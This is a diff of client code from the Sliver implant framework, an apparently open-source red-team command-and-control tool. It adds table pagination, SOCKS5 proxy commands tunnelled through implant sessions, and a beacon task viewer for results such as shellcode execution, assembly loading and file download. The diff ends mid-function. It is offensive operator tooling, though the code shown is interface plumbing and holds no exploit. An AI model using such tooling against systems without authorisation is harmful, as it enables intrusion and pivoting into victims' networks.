|
||||
index++
|
||||
|
||||
var SessionHealth string
|
||||
if session.IsDead {
|
||||
SessionHealth = console.Bold + console.Red + "[DEAD]" + console.Normal
|
||||
@@ -142,14 +139,14 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.Transport,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
session.Username,
|
||||
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
||||
time.Unix(session.LastCheckin, 0).Format(time.RFC1123),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
@@ -157,20 +154,5 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
if activeIndex != -1 {
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for lineNumber, line := range lines {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
if lineNumber == activeIndex {
|
||||
con.Printf("%s%s%s\n", console.Green, line, console.Normal)
|
||||
} else {
|
||||
con.Printf("%s\n", line)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -19,10 +19,15 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -56,7 +61,7 @@ var (
|
||||
TopLeft: " ",
|
||||
TopRight: " ",
|
||||
TopSeparator: " ",
|
||||
UnfinishedRow: " ~~",
|
||||
UnfinishedRow: "~~",
|
||||
},
|
||||
Color: table.ColorOptions{
|
||||
IndexColumn: text.Colors{},
|
||||
@@ -78,6 +83,47 @@ var (
|
||||
SeparateRows: false,
|
||||
},
|
||||
}
|
||||
|
||||
sliverBordersDefault = table.Style{
|
||||
Name: "SliverBordersDefault",
|
||||
Box: table.BoxStyle{
|
||||
BottomLeft: "+",
|
||||
BottomRight: "+",
|
||||
BottomSeparator: "-",
|
||||
Left: "|",
|
||||
LeftSeparator: "+",
|
||||
MiddleHorizontal: "-",
|
||||
MiddleSeparator: "+",
|
||||
MiddleVertical: "|",
|
||||
PaddingLeft: " ",
|
||||
PaddingRight: " ",
|
||||
Right: "|",
|
||||
RightSeparator: "+",
|
||||
TopLeft: "+",
|
||||
TopRight: "+",
|
||||
TopSeparator: "-",
|
||||
UnfinishedRow: "~~",
|
||||
},
|
||||
Color: table.ColorOptions{
|
||||
IndexColumn: text.Colors{},
|
||||
Footer: text.Colors{},
|
||||
Header: text.Colors{},
|
||||
Row: text.Colors{},
|
||||
RowAlternate: text.Colors{},
|
||||
},
|
||||
Format: table.FormatOptions{
|
||||
Footer: text.FormatDefault,
|
||||
Header: text.FormatTitle,
|
||||
Row: text.FormatDefault,
|
||||
},
|
||||
Options: table.Options{
|
||||
DrawBorder: true,
|
||||
SeparateColumns: true,
|
||||
SeparateFooter: false,
|
||||
SeparateHeader: true,
|
||||
SeparateRows: false,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// GetTableStyle - Get the current table style
|
||||
@@ -92,3 +138,97 @@ func GetTableStyle(con *console.SliverConsoleClient) table.Style {
|
||||
}
|
||||
return tableStyles[SliverDefault.Name]
|
||||
}
|
||||
|
||||
// GetTableWithBordersStyle - Get the table style with borders
|
||||
func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style {
|
||||
if con.Settings == nil {
|
||||
con.Settings, _ = assets.LoadSettings()
|
||||
}
|
||||
value, ok := tableStyles[con.Settings.TableStyle]
|
||||
if !ok || con.Settings.TableStyle == SliverDefault.Name {
|
||||
return sliverBordersDefault
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
// GetPageSize - Page size for tables
|
||||
func GetPageSize() int {
|
||||
return 10
|
||||
}
|
||||
|
||||
// PagesOf - Return the pages of a table
|
||||
func PagesOf(renderedTable string) [][]string {
|
||||
lines := strings.Split(renderedTable, "\n")
|
||||
if len(lines) < 2 {
|
||||
return [][]string{}
|
||||
}
|
||||
token := lines[0]
|
||||
pages := [][]string{}
|
||||
page := []string{token}
|
||||
for _, line := range lines[1:] {
|
||||
if line != token {
|
||||
page = append(page, line)
|
||||
} else {
|
||||
pages = append(pages, page)
|
||||
page = []string{token}
|
||||
}
|
||||
}
|
||||
pages = append(pages, page)
|
||||
return pages
|
||||
}
|
||||
|
||||
// PaginateTable - Render paginated table to console
|
||||
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
|
||||
renderedTable := tw.Render()
|
||||
lineCount := strings.Count(renderedTable, "\n")
|
||||
if !overflow {
|
||||
// Only paginate if the number of lines is at least 2x the terminal height
|
||||
width, height, err := terminal.GetSize(0)
|
||||
if err == nil && 2*height < lineCount {
|
||||
if 7 < height {
|
||||
tw.SetPageSize(height - 6)
|
||||
tw.SetAllowedRowLength(width)
|
||||
} else {
|
||||
tw.SetPageSize(2)
|
||||
tw.SetAllowedRowLength(width)
|
||||
}
|
||||
renderedTable = tw.Render()
|
||||
}
|
||||
}
|
||||
|
||||
pages := PagesOf(renderedTable)
|
||||
for pageNumber, page := range pages {
|
||||
if pageNumber+1 < skipPages {
|
||||
continue
|
||||
}
|
||||
for _, line := range page {
|
||||
if len(line) == 0 {
|
||||
continue
|
||||
}
|
||||
con.Printf("%s\n", line)
|
||||
}
|
||||
con.Println()
|
||||
if interactive {
|
||||
if 1 < len(pages) {
|
||||
if pageNumber+1 < len(pages) {
|
||||
nextPage := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)),
|
||||
}
|
||||
survey.AskOne(prompt, &nextPage)
|
||||
if !nextPage {
|
||||
break
|
||||
}
|
||||
con.Println()
|
||||
} else {
|
||||
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if 1 < len(pages) {
|
||||
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package socks
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
)
|
||||
|
||||
// SocksAddCmd - Add a new tunneled port forward
|
||||
func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
// listener
|
||||
host := ctx.Flags.String("host")
|
||||
port := ctx.Flags.String("port")
|
||||
bindAddr := fmt.Sprintf("%s:%s", host, port)
|
||||
ln, err := net.Listen("tcp", bindAddr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Socks5 Listen %s \n", err.Error())
|
||||
return
|
||||
}
|
||||
username := ctx.Flags.String("user")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
password := ""
|
||||
if username != "" {
|
||||
con.PrintWarnf("SOCKS proxy authentication credentials are tunneled to the implant\n")
|
||||
con.PrintWarnf("These credentials are recoverable from the implant's memory!\n\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you understand the implication?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
password = randomPassword()
|
||||
con.Printf("\n")
|
||||
}
|
||||
|
||||
channelProxy := &core.TcpProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
Listener: ln,
|
||||
BindAddr: bindAddr,
|
||||
Username: username,
|
||||
Password: password,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
|
||||
go func(channelProxy *core.TcpProxy) {
|
||||
core.SocksProxies.Start(channelProxy)
|
||||
}(core.SocksProxies.Add(channelProxy).ChannelProxy)
|
||||
con.PrintInfof("Started SOCKS5 %s %s %s %s\n", host, port, username, password)
|
||||
con.PrintWarnf("In-band SOCKS proxies can be a little unstable depending on protocol\n")
|
||||
}
|
||||
|
||||
func randomPassword() string {
|
||||
buf := make([]byte, 16)
|
||||
rand.Read(buf)
|
||||
return base64.RawStdEncoding.EncodeToString(buf)
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package socks
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SocksRmCmd - Remove an existing tunneled port forward
|
||||
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksID := ctx.Flags.Int("id")
|
||||
if socksID < 1 {
|
||||
con.PrintErrorf("Must specify a valid portfwd id\n")
|
||||
return
|
||||
}
|
||||
found := core.SocksProxies.Remove(socksID)
|
||||
if !found {
|
||||
con.PrintErrorf("No portfwd with id %d\n", socksID)
|
||||
} else {
|
||||
con.PrintInfof("Removed portfwd\n")
|
||||
}
|
||||
|
||||
// close
|
||||
con.Rpc.CloseSocks(context.Background(), &sliverpb.Socks{})
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package socks
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// SocksCmd - Display information about tunneled port forward(s)
|
||||
func SocksCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socks := core.SocksProxies.List()
|
||||
if len(socks) == 0 {
|
||||
con.PrintInfof("No socks5 proxies\n")
|
||||
return
|
||||
}
|
||||
sort.Slice(socks[:], func(i, j int) bool {
|
||||
return socks[i].ID < socks[j].ID
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Session ID",
|
||||
"Bind Address",
|
||||
"Username",
|
||||
"Passwords",
|
||||
})
|
||||
for _, p := range socks {
|
||||
tw.AppendRow(table.Row{p.ID, p.SessionID, p.BindAddr, p.Username, p.Password})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,675 @@
|
||||
package tasks
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/command/network"
|
||||
"github.com/bishopfox/sliver/client/command/privilege"
|
||||
"github.com/bishopfox/sliver/client/command/processes"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// TasksFetchCmd - Manage beacon tasks
|
||||
func TasksFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon := con.ActiveTarget.GetBeaconInteractive()
|
||||
if beacon == nil {
|
||||
return
|
||||
}
|
||||
beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
tasks := beaconTasks.Tasks
|
||||
if len(tasks) == 0 {
|
||||
con.PrintErrorf("No tasks for beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
idArg := ctx.Args.String("id")
|
||||
if idArg != "" {
|
||||
tasks = filterTasksByID(idArg, tasks)
|
||||
if len(tasks) == 0 {
|
||||
con.PrintErrorf("No beacon task found with id %s\n", idArg)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
filter := ctx.Flags.String("filter")
|
||||
if filter != "" {
|
||||
tasks = filterTasksByTaskType(filter, tasks)
|
||||
if len(tasks) == 0 {
|
||||
con.PrintErrorf("No beacon tasks with filter type '%s'\n", filter)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var task *clientpb.BeaconTask
|
||||
if 1 < len(tasks) {
|
||||
task, err = SelectBeaconTask(tasks)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf(console.UpN+console.Clearln, 1)
|
||||
} else {
|
||||
task = tasks[0]
|
||||
}
|
||||
task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: task.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to fetch task content: %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintTask(task, con)
|
||||
}
|
||||
|
||||
func filterTasksByID(taskID string, tasks []*clientpb.BeaconTask) []*clientpb.BeaconTask {
|
||||
filteredTasks := []*clientpb.BeaconTask{}
|
||||
for _, task := range tasks {
|
||||
if strings.HasPrefix(task.ID, strings.ToLower(taskID)) {
|
||||
filteredTasks = append(filteredTasks, task)
|
||||
}
|
||||
}
|
||||
return filteredTasks
|
||||
}
|
||||
|
||||
func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*clientpb.BeaconTask {
|
||||
filteredTasks := []*clientpb.BeaconTask{}
|
||||
for _, task := range tasks {
|
||||
if strings.HasPrefix(strings.ToLower(task.Description), strings.ToLower(taskType)) {
|
||||
filteredTasks = append(filteredTasks, task)
|
||||
}
|
||||
}
|
||||
return filteredTasks
|
||||
}
|
||||
|
||||
// PrintTask - Print the details of a beacon task
|
||||
func PrintTask(task *clientpb.BeaconTask, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableWithBordersStyle(con))
|
||||
tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID})
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{"State", emojiState(task.State) + " " + prettyState(strings.Title(task.State))})
|
||||
tw.AppendRow(table.Row{"Description", task.Description})
|
||||
tw.AppendRow(table.Row{"Created", time.Unix(task.CreatedAt, 0).Format(time.RFC1123)})
|
||||
if !time.Unix(task.SentAt, 0).IsZero() {
|
||||
tw.AppendRow(table.Row{"Sent", time.Unix(task.SentAt, 0).Format(time.RFC1123)})
|
||||
}
|
||||
if !time.Unix(task.CompletedAt, 0).IsZero() {
|
||||
tw.AppendRow(table.Row{"Completed", time.Unix(task.CompletedAt, 0).Format(time.RFC1123)})
|
||||
}
|
||||
|
||||
tw.AppendRow(table.Row{"Request Size", util.ByteCountBinary(int64(len(task.Request)))})
|
||||
if !time.Unix(task.CompletedAt, 0).IsZero() {
|
||||
tw.AppendRow(table.Row{"Response Size", util.ByteCountBinary(int64(len(task.Response)))})
|
||||
}
|
||||
tw.AppendSeparator()
|
||||
con.Printf("%s\n", tw.Render())
|
||||
if !time.Unix(task.CompletedAt, 0).IsZero() {
|
||||
con.Println()
|
||||
if 0 < len(task.Response) {
|
||||
renderTaskResponse(task, con)
|
||||
} else {
|
||||
con.PrintInfof("No task response\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func emojiState(state string) string {
|
||||
switch strings.ToLower(state) {
|
||||
case "completed":
|
||||
return "✅"
|
||||
case "pending":
|
||||
return "⏳"
|
||||
case "failed":
|
||||
return "❌"
|
||||
default:
|
||||
return "❓"
|
||||
}
|
||||
}
|
||||
|
||||
// Decode and render message specific content
|
||||
func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleClient) {
|
||||
reqEnvelope := &sliverpb.Envelope{}
|
||||
proto.Unmarshal(task.Request, reqEnvelope)
|
||||
switch reqEnvelope.Type {
|
||||
|
||||
// ---------------------
|
||||
// Environment commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgEnvInfo:
|
||||
envInfo := &sliverpb.EnvInfo{}
|
||||
err := proto.Unmarshal(task.Request, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
environment.PrintGetEnvInfo(envInfo, con)
|
||||
|
||||
case sliverpb.MsgSetEnvReq:
|
||||
setEnvReq := &sliverpb.SetEnvReq{}
|
||||
err := proto.Unmarshal(task.Request, setEnvReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
setEnv := &sliverpb.SetEnv{}
|
||||
err = proto.Unmarshal(task.Response, setEnv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
environment.PrintSetEnvInfo(setEnvReq.Variable.Key, setEnvReq.Variable.Value, setEnv, con)
|
||||
|
||||
case sliverpb.MsgUnsetEnvReq:
|
||||
unsetEnvReq := &sliverpb.UnsetEnvReq{}
|
||||
err := proto.Unmarshal(task.Request, unsetEnvReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task request: %s\n", err)
|
||||
return
|
||||
}
|
||||
unsetEnv := &sliverpb.UnsetEnv{}
|
||||
err = proto.Unmarshal(task.Response, unsetEnv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
|
||||
|
||||
// ---------------------
|
||||
// Exec commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgExecuteAssemblyReq:
|
||||
execAssembly := &sliverpb.ExecuteAssembly{}
|
||||
err := proto.Unmarshal(task.Response, execAssembly)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, _ := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
hostname := "hostname"
|
||||
if beacon != nil {
|
||||
hostname = beacon.Hostname
|
||||
}
|
||||
assemblyPath := ""
|
||||
ctx := &grumble.Context{
|
||||
Command: &grumble.Command{Name: "execute-assembly"},
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
},
|
||||
}
|
||||
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
|
||||
// execute-shellcode
|
||||
case sliverpb.MsgTaskReq:
|
||||
shellcodeExec := &sliverpb.Task{}
|
||||
err := proto.Unmarshal(task.Response, shellcodeExec)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
exec.PrintExecuteShellcode(shellcodeExec, con)
|
||||
|
||||
case sliverpb.MsgExecuteReq:
|
||||
execReq := &sliverpb.ExecuteReq{}
|
||||
err := proto.Unmarshal(reqEnvelope.Data, execReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
execResult := &sliverpb.Execute{}
|
||||
err = proto.Unmarshal(task.Response, execResult)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
ctx := &grumble.Context{
|
||||
Flags: grumble.FlagMap{
|
||||
"ignore-stderr": &grumble.FlagMapItem{Value: false},
|
||||
"loot": &grumble.FlagMapItem{Value: false},
|
||||
"stdout": &grumble.FlagMapItem{Value: ""},
|
||||
"stderr": &grumble.FlagMapItem{Value: ""},
|
||||
"output": &grumble.FlagMapItem{Value: true},
|
||||
},
|
||||
Args: grumble.ArgMap{
|
||||
"command": &grumble.ArgMapItem{Value: execReq.Path},
|
||||
"arguments": &grumble.ArgMapItem{Value: execReq.Args},
|
||||
},
|
||||
}
|
||||
exec.PrintExecute(execResult, ctx, con)
|
||||
|
||||
case sliverpb.MsgSideloadReq:
|
||||
sideload := &sliverpb.Sideload{}
|
||||
err := proto.Unmarshal(task.Response, sideload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, _ := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
hostname := "hostname"
|
||||
if beacon != nil {
|
||||
hostname = beacon.Hostname
|
||||
}
|
||||
ctx := &grumble.Context{
|
||||
Command: &grumble.Command{Name: "sideload"},
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
exec.PrintSideload(sideload, hostname, ctx, con)
|
||||
|
||||
case sliverpb.MsgSpawnDllReq:
|
||||
spawnDll := &sliverpb.SpawnDll{}
|
||||
err := proto.Unmarshal(task.Response, spawnDll)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, _ := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
hostname := "hostname"
|
||||
if beacon != nil {
|
||||
hostname = beacon.Hostname
|
||||
}
|
||||
ctx := &grumble.Context{
|
||||
Command: &grumble.Command{Name: "spawndll"},
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
|
||||
|
||||
case sliverpb.MsgSSHCommandReq:
|
||||
sshCommand := &sliverpb.SSHCommand{}
|
||||
err := proto.Unmarshal(task.Response, sshCommand)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
exec.PrintSSHCmd(sshCommand, con)
|
||||
|
||||
// ---------------------
|
||||
// File system commands
|
||||
// ---------------------
|
||||
// Cat = download
|
||||
case sliverpb.MsgCdReq:
|
||||
pwd := &sliverpb.Pwd{}
|
||||
err := proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintPwd(pwd, con)
|
||||
|
||||
case sliverpb.MsgDownload:
|
||||
download := &sliverpb.Download{}
|
||||
err := proto.Unmarshal(task.Response, download)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
taskResponseDownload(download, con)
|
||||
|
||||
case sliverpb.MsgLsReq:
|
||||
ls := &sliverpb.Ls{}
|
||||
err := proto.Unmarshal(task.Response, ls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
flags := grumble.FlagMap{
|
||||
"reverse": &grumble.FlagMapItem{Value: false},
|
||||
"modified": &grumble.FlagMapItem{Value: false},
|
||||
"size": &grumble.FlagMapItem{Value: false},
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
|
||||
case sliverpb.MsgMkdirReq:
|
||||
mkdir := &sliverpb.Mkdir{}
|
||||
err := proto.Unmarshal(task.Response, mkdir)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintMkdir(mkdir, con)
|
||||
|
||||
case sliverpb.MsgPwdReq:
|
||||
pwd := &sliverpb.Pwd{}
|
||||
err := proto.Unmarshal(task.Response, pwd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintPwd(pwd, con)
|
||||
|
||||
case sliverpb.MsgRmReq:
|
||||
rm := &sliverpb.Rm{}
|
||||
err := proto.Unmarshal(task.Response, rm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintRm(rm, con)
|
||||
|
||||
case sliverpb.MsgUpload:
|
||||
upload := &sliverpb.Upload{}
|
||||
err := proto.Unmarshal(task.Response, upload)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
filesystem.PrintUpload(upload, con)
|
||||
|
||||
// ---------------------
|
||||
// Network commands
|
||||
// ---------------------
|
||||
case sliverpb.MsgIfconfigReq:
|
||||
ifconfig := &sliverpb.Ifconfig{}
|
||||
err := proto.Unmarshal(task.Response, ifconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
network.PrintIfconfig(ifconfig, true, con)
|
||||
|
||||
case sliverpb.MsgNetstatReq:
|
||||
netstat := &sliverpb.Netstat{}
|
||||
err := proto.Unmarshal(task.Response, netstat)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: task.BeaconID})
|
||||
if err != nil {
|
